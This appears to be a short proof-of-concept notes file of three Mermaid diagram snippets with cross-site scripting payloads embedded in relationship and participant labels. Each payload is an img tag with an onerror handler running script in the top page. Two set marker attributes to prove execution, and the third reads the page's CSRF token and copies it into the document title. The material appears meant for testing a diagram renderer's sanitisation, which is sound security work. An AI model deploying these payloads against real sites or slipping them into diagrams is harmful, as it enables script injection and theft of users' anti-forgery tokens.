notes

erDiagram
  A ||--o{ B : "<img src=x onerror=top.document.documentElement.setAttribute('data-er','POC-ER')>"

sequenceDiagram
  participant A as Alice<img src=x onerror=top.document.documentElement.setAttribute('data-seq','POC-SEQ')>$$\text{A}$$
  A->>B: hi

erDiagram
  C ||--o{ D : "<img src=x onerror=top.document.title=top.document.querySelector('meta[name=_csrf]').content>"